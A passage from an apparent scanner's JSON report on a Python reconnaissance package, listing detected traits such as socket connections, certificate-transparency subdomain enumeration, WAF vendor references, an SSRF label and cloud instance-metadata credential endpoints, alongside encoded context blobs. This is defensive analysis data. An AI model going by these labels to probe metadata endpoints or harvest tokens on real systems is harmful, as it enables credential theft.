"micro-behaviors/communications/proxy/target::target-connect-python", "atk": "T1090,T1572", "conf": 0.94, "crit": 3, "desc": "Python connects to target variable", "spans": [ [ 26808, 23 ] ] }, { "id": "micro-behaviors/communications/socket/connect::socket-create-connection-text", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Python socket create_connection in text", "spans": [ [ 26801, 25 ] ] }, { "id": "micro-behaviors/communications/socket/family::socket-af-inet-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "AF_INET constant name", "spans": [ [ 24836, 7 ] ] }, { "id": "micro-behaviors/communications/socket/family::socket-sock-stream-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "SOCK_STREAM constant name", "spans": [ [ 24944, 11 ] ] }, { "id": "micro-behaviors/communications/socket/ssl::python-peer-certificate-fetch", "conf": 0.9, "crit": 3, "desc": "Python fetches a TLS peer certificate", "spans": [ [ 26962, 15 ] ] }, { "id": "micro-behaviors/communications/socket/ssl::python-wrap-socket-server-hostname", "conf": 0.85, "crit": 3, "desc": "Python TLS socket server_hostname", "spans": [ [ 26887, 34 ] ] }, { "id": "micro-behaviors/communications/ssh/connect::ssh-string", "atk": "T1021.004", "conf": 0.4, "crit": 1, "desc": "References the SSH protocol", "spans": [ [ 29811, 0 ] ] }, { "id": "micro-behaviors/crypto/certificate/transparency::crt-sh-endpoint", "conf": 0.92, "crit": 3, "desc": "crt.sh certificate lookup endpoint", "spans": [ [ 37322, 6 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-operation", "mbc": "C0029", "conf": 0.88, "crit": 3, "desc": "Performs Python SHA-256 operation", "spans": [ [ 23423, 14 ] ] }, { "id": "micro-behaviors/crypto/hash/mining::mining-lower", "conf": 0.6, "crit": 2, "desc": "mining string (lowercase)", "spans": [ [ 67627, 0 ] ] }, { "id": "micro-behaviors/crypto/hash/mining::mining-title", "conf": 0.6, "crit": 2, "desc": "Mining string (title case)", "spans": [ [ 360, 0 ] ] }, { "id": "micro-behaviors/crypto/hash/mining::mining-upper", "conf": 0.6, "crit": 2, "desc": "MINING string (uppercase)", "spans": [ [ 37061, 0 ] ] }, { "id": "micro-behaviors/data/control-flow/analysis::python-for-range-len-loop", "conf": 0.4, "crit": 3, "desc": "Python for-range-over-len(X) loop", "spans": [ [ 46390, 5 ], [ 46403, 3 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "spans": [ [ 25032, 17 ], [ 28043, 22 ], [ 28600, 21 ], [ 45845, 23 ], [ 50575, 24 ], [ 54480, 32 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-host", "conf": 0.85, "crit": 1, "desc": "Connection host key", "spans": [ [ 72400, 0 ] ] }, { "id": "micro-behaviors/data/format/json::json-result-field", "conf": 0.8, "crit": 3, "desc": "JSON result or response field key", "spans": [ [ 34908, 9 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::json-type-field", "conf": 0.9, "crit": 3, "desc": "JSON object type field fragment", "spans": [ [ 50033, 7 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "spans": [ [ 34772, 0 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-dumps-call", "conf": 0.9, "crit": 2, "desc": "Serializes data with Python json.dumps()", "spans": [ [ 66811, 0 ] ] }, { "id": "micro-behaviors/data/serialize/schema-object::host-field-key", "conf": 0.9, "crit": 3, "desc": "JSON-like host identity field", "spans": [ [ 34807, 7 ] ] }, { "id": "micro-behaviors/data/string/concat::python-dotted-fstring", "conf": 0.9, "crit": 1, "desc": "Dotted Python f-string", "spans": [ [ 48984, 0 ] ] }, { "id": "micro-behaviors/data/string/search::compiled-python-pattern-set", "conf": 0.9, "crit": 3, "desc": "Compiles a set of Python regex patterns", "spans": [ [ 1714, 11 ] ] }, { "id": "micro-behaviors/fs/path/location::media-mount-path", "atk": "T1083", "conf": 0.9, "crit": 3, "desc": "References the /media removable-mount root", "spans": [ [ 19391, 8 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 29846, 5 ] ] }, { "id": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-3", "atk": "T1480", "mbc": "B0003", "conf": 0.93, "crit": 3, "desc": "Corporate hostname word shard internal", "spans": [ [ 30475, 8 ] ] }, { "id": "objectives/anti-static/obfuscation/string/concat::python-host-fstring-url", "atk": "T1027", "conf": 0.85, "crit": 3, "desc": "Python host f-string URL", "spans": [ [ 44029, 14 ], [ 44182, 13 ] ] }, { "id": "objectives/credential-access/cracking/cracker::hash-cracking-vocabulary", "conf": 0.9, "crit": 3, "desc": "Names hash cracking or wordlist attack", "spans": [ [ 36391, 8 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-search-query", "conf": 0.88, "crit": 3, "desc": "crt.sh JSON certificate query", "spans": [ [ 37322, 30 ] ] }, { "id": "objectives/discovery/network/enumeration::subdomain-result-field", "conf": 0.86, "crit": 3, "desc": "Certificate subdomain result field", "spans": [ [ 38429, 12 ] ] }, { "id": "objectives/discovery/network/enumeration::subdomain-result-split", "conf": 0.86, "crit": 3, "desc": "Splits discovered subdomain results", "spans": [ [ 39096, 17 ] ] }, { "id": "objectives/evasion/security-bypass/waf::akamai-name-reference", "conf": 0.9, "crit": 1, "desc": "References Akamai", "spans": [ [ 8271, 0 ] ] }, { "id": "objectives/evasion/security-bypass/waf::aws-waf-name-reference", "conf": 0.9, "crit": 1, "desc": "References AWS WAF", "spans": [ [ 19840, 0 ] ] }, { "id": "objectives/evasion/security-bypass/waf::imperva-name-reference", "conf": 0.9, "crit": 1, "desc": "References Imperva or Incapsula", "spans": [ [ 12607, 0 ] ] }, { "id": "objectives/execution/automation/agent::agent-target-discovery-a", "atk": "T1059,T1190,T1595", "conf": 0.88, "crit": 3, "desc": "Agent enumerates exposed targets", "spans": [ [ 28334, 44 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-5", "conf": 0.95, "crit": 3, "desc": "Remediation term", "spans": [ [ 64479, 11 ] ] }, { "id": "micro-behaviors/communications/http/cookies::python-response-set-cookie-header-read", "conf": 0.95, "crit": 3, "desc": "Python response object reads Set-Cookie header", "spans": [ [ 33431, 11 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-google-cloud-provider-name", "conf": 0.82, "crit": 3, "desc": "Repeated Google Cloud provider name", "spans": [ [ 4263, 12 ] ] }, { "id": "micro-behaviors/communications/ip/assignment::python-ipv4-string-assignment", "conf": 0.9, "crit": 3, "desc": "Assigns an IPv4 address string in Python", "spans": [ [ 44347, 14 ] ] }, { "id": "micro-behaviors/communications/ip/endpoint::https-port-443-protocol", "conf": 0.6, "crit": 3, "desc": "References HTTPS service port 443", "spans": [ [ 26485, 15 ] ] }, { "id": "micro-behaviors/communications/ip/literal::external-ipv4-script", "conf": 0.85, "crit": 3, "desc": "Hardcoded external IPv4 address", "spans": [ [ 2427, 13 ], [ 2471, 13 ], [ 2515, 13 ], [ 2560, 14 ], [ 2606, 14 ], [ 2652, 14 ], [ 2698, 14 ], [ 2744, 14 ] ] }, { "id": "micro-behaviors/communications/socket/connect::socket-create-connection-call", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Python socket create_connection call", "spans": [ [ 26801, 24 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-module-import", "atk": "T1071", "mbc": "C0001", "conf": 0.6, "crit": 3, "desc": "Imports Python's socket module", "spans": [ [ 919, 13 ] ] }, { "id": "micro-behaviors/crypto/certificate/usage::certificate-ref", "conf": 0.5, "crit": 2, "desc": "References certificate terminology", "spans": [ [ 335, 0 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-hexdigest", "conf": 0.9, "crit": 3, "desc": "Computes a SHA-256 hex digest in Python", "spans": [ [ 23423, 65 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-loads-call", "conf": 0.9, "crit": 3, "desc": "Parses JSON data with Python", "spans": [ [ 38118, 10 ] ] }, { "id": "objectives/command-and-control/infrastructure/domain/malicious::short-domain-url-pattern", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Very short domain in URL", "spans": [ [ 37314, 15 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-oracle", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token oracle", "spans": [ [ 7612, 6 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-postgres", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token postgres", "spans": [ [ 30229, 8 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-redis", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token redis", "spans": [ [ 30241, 5 ] ] }, { "id": "metadata/file/catalog/service::cloud-saas-service-names", "conf": 0.6, "crit": 1, "desc": "Cloud SaaS service names", "uses": [ 0 ], "spans": [ [ 5359, 0 ] ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::socket-dns-lookup", "conf": 0.8, "crit": 3, "desc": "Socket-based DNS lookup capability", "uses": [ 9 ], "spans": [ [ 24898, 18 ] ] }, { "id": "micro-behaviors/communications/ip/endpoint::https-port-443", "conf": 0.6, "crit": 1, "desc": "HTTPS service port number", "uses": [ 58 ], "spans": [ [ 26485, 0 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-creation", "atk": "T1071", "mbc": "C0001", "conf": 1.0, "crit": 2, "desc": "Socket creation patterns", "uses": [ 22, 23 ], "spans": [ [ 24836, 0 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-tooling-or-transcript-context", "atk": "T1552.001", "conf": 0.9, "crit": 1, "desc": "SSH tooling or documentation transcript", "uses": [ 26 ], "spans": [ [ 29811, 0 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-transparency-domain-search", "conf": 0.94, "crit": 3, "desc": "Searches certificate records for a domain", "uses": [ 27, 47 ], "spans": [ [ 37322, 6 ] ] }, { "id": "micro-behaviors/communications/ip/endpoint::common-service-port", "conf": 0.6, "crit": 3, "desc": "Common service port number", "uses": [ 71 ], "spans": [ [ 26485, 15 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-subdomain-collection", "conf": 0.92, "crit": 4, "desc": "Collects subdomains from certificates", "uses": [ 48, 49, 74 ], "spans": [ [ 37322, 6 ], [ 38429, 12 ], [ 39096, 17 ] ] }, { "id": "micro-behaviors/communications/ip/proxy::cloudflare-fallback-pool", "conf": 0.9, "crit": 3, "desc": "Hardcoded Cloudflare proxy IP pool", "uses": [ 16, 17, 18 ], "spans": [ [ 7281, 15 ], [ 7328, 14 ], [ 7376, 14 ] ] }, { "id": "micro-behaviors/crypto/hash/mining::mining-keyword", "conf": 0.8, "crit": 3, "desc": "Mining keyword variants", "uses": [ 29, 30, 31 ], "spans": [ [ 360, 6 ], [ 37061, 6 ], [ 67627, 6 ] ] }, { "id": "objectives/evasion/security-bypass/waf::multi-vendor-antibot-solvers", "conf": 0.95, "crit": 3, "desc": "Package lists multiple anti-bot solver vendors", "uses": [ 50, 51, 52 ], "spans": [ [ 8271, 6 ], [ 12607, 9 ], [ 19840, 7 ] ] } ], "type": "python" }, { "id": 132, "mol": "K(Te₂)O₆(EuDyErIPrXe₂)H₄(Cm₄Db₂OsPo₄)Md₂(In)", "sha": "cb212b6e1f3e4bc53493728ea2a26f67f1469197f86bcbe34ebb042c538987fb", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/nation_state_attributor.py", "risk": 92, "size": 34600, "type": "python", "depth": 1 }, { "ctx": [ { "b": "w].*baywF/B-.+DwNw^!x(d*cA=-BjzF\u003cxmvruj4zGuc(x(d*cA=-BsB8L}6x(d*cA=-BAwEr3\u0026z/3RsD2NFnxcp]9AbP=savf)\u003cefEt{v@%mAoLFM\u00263tar%z6gC-xMOunuU\u003cd@wPw]cze:AlBrCmsBz$PaA=kz#efEz@zE^E0x9[$MboPu\u0026z/]OkAb]\u003c", "ln": 0, "col": 1, "line": 1 }, { "b": "wPw]gwPRu\u003evrt{2wO#3$z!T9hA%+odpGo!\u0026o*@2El{T^rauZ\u0026]3lQDlar\u003c9MqZamBtm8F}arR^HarS6RxMOuniXJcvhArxBh8D{uhArxBh8D$5vru74Bt4GxByu+ivrt{hx\u003c\u003e\u003ciB7F\u003c7A+PSveN@*jwmYU2x\u003c\u003e?0fcR}\u0026b1U6{aAzypwGUG6wN]v\u0026Bzkf1B0r4:3lQDlarR^HasFBEBAzE.fe24riw96Ag+HHviw96Ag+SVNBy/JnfkUoxvj=1#Byu?pzGx]dzEWlfx\u003ee\u003evefDcdzGx]dzEWl2nKK:Ked9HxarR^HarS6RxMOuniXJcvhArxBh8D{uhArxBh8D$5vru74Bt4=TwPxwkvrt{ha$K\u0026XrDz.(ay[]5viu$nvr\u0026#9z/fV9x(k5mwN/:(BAn(Pdj+/GarR!jed9HxarR\u003c#lR[%/ax]f}arR^HarR^Pb4#7uA5]T9zdN/$wmoN*e[Y9vxkzcix(n37A=br4fjO{qAclnlo\u003ewAPwmoN*flP66a$K\u0026Xm)*8}zdN/$wmoN*asHtzm@JrUeLP!#vpS!*vj+w*ADL\u0026lBrCmdvpS}\u0026az$+4wmYp2a$k5IarR^Ht}us9arR^Jl3^V]wG\u003ceTtm8F}arR^HarS6RxMOuniXJcvhArxBh8D{uhArxBh8D$6wPRu\u003evrt{hx(n0lvqYN^kvFIBeP$YCB7]MgjU!YDf!C7meIF[6efDc5DuBmtazC.mByx5%wGU\u00263BywY*Byuvxed9HxarT@v3vJl*boPu(zeBieawLE0ePLAsvru6\u003eaAg+hxMCq8zE:(iz!\u0026{4A%+VknNCpWr7G}gjS)@oarR^Ha$\u003eMSCxkAEA+e=)zGGP3y\u0026Z^Kar\u0026D\u003evrV=Cv@Dl%x\u003eFRv3lQDlar\u0026D\u003eyJT8$fjO{rw[+)4efDb\u0026e[n*qw[+)hxjC:@B.0dlAbYScv{%E[z/e])wObv[y\u0026\u003c2]A+e=)zGGP3y\u0026.jzB8L}ued9HxarR\u003cYe[66GA+c[lA+e=)zGGP3y\u0026Z^Kar\u0026D\u003evs06pwImF4v}x.5rbVL-zGvBBB8L}ued9HxarR\u003cYvq{fsv@=c\u003ewO#Q7vqH0qyiarha$K\u0026XflpYmA+fulflpYBC4\u003eC$eN-d0z/]@te]2DCzxZRsarR^Ha$[aFAXzDQzzc6xv@=d5B1.rKvR6N$wPRH8e[]kSB7Gxnx\u003e7Z.v}fC1zGEKNz!\u0026{4a$K6zarR^Jfj/lnfkCYtwPzW1By/IDvpTj?zz2BqzE$7z3s9#CboP=FB-.pIB7Gxnx\u003e7Y%Bz\u003e@azxJ[bBAz8mzGu}mzxJ$hB8V5nB7Gz1r8ldQpg3*-r8=p:pe-n#ax]f}arR^PAWMcvgc5O(tvxafk}Mm]eJEe\u0026t}moNar\u003cr]z!A($awUpCBz8!sz!\u0026{4a$k5IarR^Hc#{XDC$IpHeQxYms$?J*uObLktRoPkn)tZQDo\u003cb^fFbp(eNo\u0026he)z:oDo\u003cb^fFbp(eNo?NefDces5Zq:z!\u0026{4a$k5IarR^Hc#{XFxMdr.vj=^\u003eeM%?WiBc$/hHM@7ar\u003cr\u0026BvZK-aw+v6a$k5IarR^Hc#{XFxM4lZvj=^\u003eeM%?WiBc$/hHM@7ar\u003cr\u0026BvZK-awUpCBz8!sz!\u0026{4a$k5IarR^Hc#{XFxMEJ+vj=^\u003eeM%?WiBc$/hHM@7ar\u003cr\u0026BvZK-avf%=aARKqwO@Xved9HxarS7McUEmmvrs89vj=^\u003eeM%?Wiw1J-gb7nccOcw:m})6svpyuQk#Y3Sed9HxarS7McWoMOtvIL)vo\u003eD?vj=^\u003eeM%?Wiw1I!cOcw:q/2(LyAN.qyH}xcdj+/GarR^PAWL{zeN8TnDo\u003cb^fFbp\u003cDO^ZgcOcw:pJf(.k$Jg+p!q^BwQbEGed9HxarS7McQyx%l0D2{iybl2u3!p:Ej3M*b0/peavfHEwPI]noj-w\u003enKK:Ked9HxarS7McQysIvoUAqiybl2vj=!jeNrYVhgl\u00266ar\u003cr]z!A($ave*}azULla$k5It)Z]CwmYu}uT)+Xv@2BYy\u0026sDbuU%v@vpS!*vjkO[B7FZ3A+)=VB98BNaARsmwP8ZkiV@cOBrAZ?i4LyVarR^HarR^HarQ", "ln": 154, "col": 15, "line": 9 }, { "b": "xi^L9arR^Ha%Fi#xK$W?azCBgv@c7awft-2BywY*Byuq6zE^Z8x(n3layPq4ayO+\u0026wPI{bvR/P#C4\u003ewcq=uN-e*qF-3lQDlazbt9wnb{]B2\u003eBqx(!x2mRM:Jx(mM?auZ\u0026Kt).X%arUuoB95J/ayX=2wNxO2y+x:tAbn@)wHF:oBAzFyiXJcgefDbXdk2TLAbn@)wHF:oBAzE.fe1I2ar\u00260Ue]$#Fx(\u003e:EfcR\u0026HfKk1)arR^Hw]zYjAb](ux\u003eg^}efFIwwn(E3zGG}xx(k4XoIXURuRJ%*k$11rk}V\u003e[wO(Gpdlm!UarR^HarR!sz/M$izE^Z8x(n2zay]58v\u003c2G6az2C3AbPDdBAoFIarR^HarR^", "ln": 1851, "col": 67, "line": 50 }, { "b": "ar\u003e=Bz*lKKefDcUvrc0(BrSmUb4LnaBrSmUb4\u003e?ozZ5D]3lQDlarR^HarR^HazbLjaAg+fvqNc3zxK1wA+nV$vrb^[B2\u003cTJarR^HarR^HarR^HarR!vze:AlBrCZDy\u00260/{e]UltB7CX3arR^HarR^HarR^HarR!HA+(\u003cYayX=2wNxO2y+x:HBAh8mc)yq*diHb-w*fD^Aa9=}zgaM]B-Iqmx\u003c@YlvrcB2e]=2LBy=\u003eizE^Z8x(i", "ln": 2298, "col": 35, "line": 59 }, { "b": "b4kt5eOO-tefDcJzGx]dzEWlfx\u003eezsar\u003el7v}x.5eO!{ya$K\u0026XB7F\u003c7A+PSveN@*jwmYU2x\u003c\u003e?0a$K6zarR^HarR^HarR^HarR^HarR^HarR^HarR^HarR^Jx\u003c\u003e\u003c5", "ln": 2761, "col": 34, "line": 69 }, { "b": "arR^HarR^HarR^HarUxgayPekd069ne]kDIwPxgFazCZovSb!5e]kDIwPxgFazbLjaAImfazCZozdN/$uVP{]B16cSarR^HarR^HarR^HarR^HarR^HarR^Hw[=c[x(mN8e[5ZrwO#3bmRM:Jx(mMi3lQDlarR^HarR^HarR^HarR^HarR^HarR^HaARsty?k+w", "ln": 2922, "col": 7, "line": 71 }, { "b": "arR^HvrlH3BuKqQB95@QAbPDdBAp/1wN]{[By!#Cf/pG?arR^HarR^HarR^HarR^HarR^HarR^HarR^HA+f90wnbE]x(v(Lb0{9:v@0h}y?$kdzGGDgzEEumv@c7awft-2BywY*Byup-p-%^!zF9K4e*ah6y?WA*By=N{qCniEzG6-uB1OT/3lQDlarR^HarR^HarR^HarR^HarR^HasO-DarR^HarR^HarR^HarR^HarR^HarR^HvSD3*yyhf", "ln": 3448, "col": 25, "line": 78 }, { "b": "A=\u003e}xat2=1oLFM\u0026tsJsAwnb{]t@\u0026rnarR^Ja%G@}vqWibvp%c]B8Mhwv}u={z/M$pwNPv=wft#jyH}y8fjP3lwmYU2x\u003c\u003e?0e*qF-3lQDlazbt9wnb{]B2\u003eBqx(!x2mRM:Jx(mM?auZ\u0026Kt).X%arUuoB95J/ayX=2wNxO2y+x:tAbn@)wHF:oBAzFyiXJcgefDbXdk2TLAbn@)wHF:oBAzE.fe1I2ar\u00260Ue]$#Fx(\u003e:EfcR\u0026HfKk1)arR^HA+frhao", "ln": 3829, "col": 42, "line": 90 }, { "b": "w{E:9y\u0026.:.wPzG%D0+VfB14CsarR!oz!abojS[=RB8S:AwPPsAvSb!5a$K\u0026Xa$l.Sf/7Krh.[UCarR^HxK$Q.wPz\u003c0B98BBjS\u003e{\u003ea$^RGx(kthb719NiV@=)EiG!Cz/M$oefG9Ux(k5lwPI/yxjVfkb4$K@wmY!5a$K\u003c-Ejl^.By/rgc[cOLarR^HxKMgcBywV{auZ\u0026Rz!abod\u003cc2Ua%nxUxK$Q.wPz\u003c0B98Bf3lQDlazbLjaAg+hBy/GgefF?szdK\u00267zxI[OogqP.p^F5Wmn=(ViTM#LarR^HarUJfByO#}B09Q*A+c\u003enx(mD\u0026y?$IsvruQ5A=9AJxKMgcBywV{dgdguarR^HarUxgaz\u003eLev/", "ln": 4078, "col": 54, "line": 95 }, { "b": "arR!EwO(0?x\u003c(9$z/dYZqE%Y-C4z!fvrb)*z!9A\u0026aARKqwO#MwaxrF]aAIa7A+ftnzddr\u003cxjU{\u003ezGE0Hr:*b!BsXL2s5QkuwN/:(BAnN0vqYH^wPxsAwPRAmdj#!}3lQDlarR^HarR^HasO-DarR^HarR^HarR^HvSD3*yAK-AawV(^aARKqwO@SjD2NsqAaK5jB7nS@azC)twO#Bexj}RVarR^HA+funA=91ix(mD}zFa1$3jprPw=", "ln": 4865, "col": 14, "line": 111 }, { "b": "t@\u0026rnarR^Ja%Gx/wN/G#w]zYjwQ5fjB7F(8pdN@0v@=c\u003ewO#Q7vqE5#x(4v4e*qF-3lQDlazbt9wnb{]B2\u003eBqx(!x2mRM:Jx(mM?auZ\u0026Kt).X%arUuoB95J/ayX=2wNxO2y+t", "ln": 5174, "col": 62, "line": 119 }, { "b": "a$K\u0026Xa$kc+wPhD]v}v5jxMOuniXJcgefDbXdk2WXy?W#ta$\u003eb?tqfs\u00263lQDlazbLjaAg+hxDR2bawLE0uR\u003c3/nk?LRarR^HarR^HB-IpvjS[ixB7FZ3A+)vGB98CpA3#[-a$jS+aAg+hxBk\u003e8arR^HarUYoB8Sl+azt\u003esA9)N8z^)oaB-IpHaARsmwP8Zkj-\u003eyPwD", "ln": 5297, "col": 38, "line": 122 }, { "b": "gb7y8vqYP#y?mGjvSb!5diH!%f!+S}arR^HarR^HarR^Hv@=c\u003euVP{]B09Q*toWG=v}x.5uU:j#a$K\u0026XB7F\u003c4wPRo{wQbEJar\u003e]CyH}xcefDcQvrlHlz/Pwjed9HxarR^HarR^HarR^HarR^HarR^HarR\u003erA+e=)zGGP3y\u0026Z^Kar\u003e=Bx)9{bwNxj:C{j^Zb6dsoC4\u003eC$uTWCOz/]@tb3+J#arR^HarR^HarR!uvrk^=A+e^5auZ\u0026QzH0TKx\u003eFM5zxJzbwo/!zz*b=kc[coJz/M$wx\u003eFM5zxJCfwN]d?x\u003eIGo3lQDlarR^HarR^HaAIaqauZ?\u003ev@=p9x\u003e7N/a%pPiazth8uT\u003c", "ln": 5586, "col": 22, "line": 130 } ], "depth": 1, "facts": { "imp": [ [ "", "base_url.replace.replace.split" ], [ "", "base_url.replace.replace" ], [ "", "base_url.replace" ], [ "", "CLOUD_METADATA.items" ], [ "", "base_url.rstrip" ], [ "", "urllib.parse.quote" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "len" ], [ "", "any" ], [ "", "sig.lower" ], [ "", "body.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "base_url.replace.replace.split" ], [ "", "base_url.replace.replace" ], [ "", "base_url.replace" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get.items" ], [ "", "resp.get" ], [ "", "re.findall" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "base_url.replace.replace.split" ], [ "", "base_url.replace.replace" ], [ "", "base_url.replace" ], [ "", "base_url.rstrip" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "len" ], [ "", "any" ], [ "", "body.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "findings.extend" ], [ "", "_check_cloud_metadata" ], [ "", "findings.extend" ], [ "", "_scan_for_tokens" ], [ "", "findings.extend" ], [ "", "_check_nhi_paths" ], [ "", "..http_layer" ], [ "", "..http_layer.Finding" ], [ "", "..http_layer.http_probe" ], [ "", "Any" ], [ "", "Dict" ], [ "", "List" ], [ "", "json" ], [ "", "re" ], [ "", "typing" ], [ "", "urllib.parse" ] ], "mbr": [ "CLOUD_METADATA.items", "base_url.replace", "base_url.replace.replace", "base_url.replace.replace.split", "base_url.rstrip", "body.lower", "findings.append", "findings.extend", "re.findall", "resp.get", "resp.get.items", "sig.lower", "urllib.parse", "urllib.parse.quote" ], "tgt": [ "CLOUD_METADATA.items", "Finding", "_check_cloud_metadata", "_check_nhi_paths", "_scan_for_tokens", "any", "base_url.replace", "base_url.replace.replace", "base_url.replace.replace.split", "base_url.rstrip", "body.lower", "findings.append", "findings.extend", "http_probe", "len", "re.findall", "resp.get", "resp.get.items", "sig.lower", "urllib.parse.quote" ], "funcs": [ [ "_check_cloud_metadata", 1726 ], [ "_scan_for_tokens", 3734 ], [ "_check_nhi_paths", 5059 ], [ "run_nhi", 6451 ] ], "metrics": { "ast": { "op.add": 6, "op.sub": 1, "op.land": 2, "max_depth": 23, "call_count": 47, "node_count": 1855, "member_count": 14, "max_array_len": 10, "op_density.add": 0, "op_density.sub": 0, "op_density.land": 0, "max_concat_chain": 3, "member_depth_max": 4 }, "file": { "size": 6967, "entropy": 4.81 }, "text": { "lines": 159, "top_char": 101, "max_ws_run": 2, "digit_ratio": 0.04, "space_count": 1712, "char_entropy": 4.81, "unique_chars": 87, "top_char_null": 0, "string_density": 0.79, "top_char_ratio": 0.06, "avg_line_length": 42.82, "max_line_length": 120, "non_ascii_ratio": 0, "empty_line_ratio": 0.16, "last_line_length": 19, "whitespace_ratio": 0.27, "identifier_density": 1.74, "line_length_stddev": 31.22, "normalized_string_count": 9.99, "repeated_char_sequences": 55, "suspicious_identifier_ratio": 0.03, "normalized_unique_identifiers": 10.26 }, "binds": { "count": 30 }, "binary": { "peak_region_bytes": 2048, "peak_region_entropy": 5.34 }, "source": { "function_count": 4 }, "imports": { "count": 10, "relative": 3, "stdlib_count": 4, "stdlib_ratio": 0.4, "relative_ratio": 0.3, "third_party_count": 6, "third_party_ratio": 0.6 }, "strings": { "bytes": 2303, "count": 126, "url_count": 11, "avg_length": 18.28, "max_length": 82, "path_count": 10, "avg_entropy": 2.93, "empty_count": 9, "entropy_stddev": 1.19 }, "comments": { "chars": 182, "count": 5, "lines": 5, "to_code_ratio": 0.03 }, "functions": { "count": 4, "density": 2.52, "avg_params": 3.25, "code_ratio": 0.66, "max_params": 4, "length_stddev": 10.21, "avg_name_length": 15, "avg_length_lines": 26.25, "max_length_lines": 38, "min_length_lines": 10, "avg_param_name_length": 8.15 }, "identifiers": { "count": 277, "unique": 75, "avg_length": 6.81, "max_length": 21, "min_length": 1, "avg_entropy": 2.33, "reuse_ratio": 0.27, "length_stddev": 3.74, "sequential_names": 2, "single_char_count": 2, "single_char_ratio": 0.03, "all_lowercase_ratio": 0.91, "all_uppercase_ratio": 0.04, "underscore_prefix_count": 3 } } }, "id": 133, "mol": "K(Te₂)O₆(Ca₇AsCoLaPrS)H₄(Cm₃Db₂F₄Os₃)Md₂(Pa)", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/nhi.py", "pid": 0, "risk": 55, "sha": "4623cff19abbd85ee12fe82227098cf9d61486c1882bdec3db6d668bb3c4a557", "size": 6967, "traits": [ { "id": "metadata/file/catalog/service::service-name-github", "conf": 0.6, "crit": 3, "desc": "GitHub service name", "spans": [ [ 1364, 6 ] ] }, { "id": "metadata/file/catalog/service::service-name-slack", "conf": 0.82, "crit": 3, "desc": "Slack service name", "spans": [ [ 1562, 5 ] ] }, { "id": "metadata/file/catalog/service::service-name-vault", "conf": 0.82, "crit": 3, "desc": "Vault service name", "spans": [ [ 4929, 5 ] ] }, { "id": "metadata/file/string/cloud::aws-user-data-endpoint", "conf": 0.9, "crit": 3, "desc": "AWS EC2 user-data endpoint", "spans": [ [ 402, 39 ] ] }, { "id": "metadata/file/string/cloud::cloud-instance-metadata-link-local-host", "conf": 0.88, "crit": 3, "desc": "Cloud instance metadata link-local address", "spans": [ [ 225, 15 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 785, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 2043, 0 ] ] }, { "id": "metadata/package/testing/corpus::ssrf-category-label", "conf": 0.9, "crit": 3, "desc": "SSRF attack category label", "spans": [ [ 1915, 4 ] ] }, { "id": "micro-behaviors/communications/http/services/aws::ec2-imds-iam-credentials-endpoint", "conf": 0.9, "crit": 3, "desc": "EC2 instance-metadata IAM credentials endpoint", "spans": [ [ 225, 57 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::gcp-metadata-endpoint-reference", "conf": 0.9, "crit": 3, "desc": "Google Cloud metadata host reference", "spans": [ [ 518, 24 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-gcp-provider-name", "conf": 0.82, "crit": 3, "desc": "Repeated GCP provider name", "spans": [ [ 493, 3 ] ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-public-cloud-provider-name--azure", "conf": 0.4, "crit": 3, "desc": "Public cloud provider name (Azure)", "spans": [ [ 634, 5 ] ] }, { "id": "micro-behaviors/data/string/assembly::formatted-index-token-join", "conf": 0.96, "crit": 3, "desc": "Formatted tokens joined with spaces", "spans": [ [ 4142, 79 ] ] }, { "id": 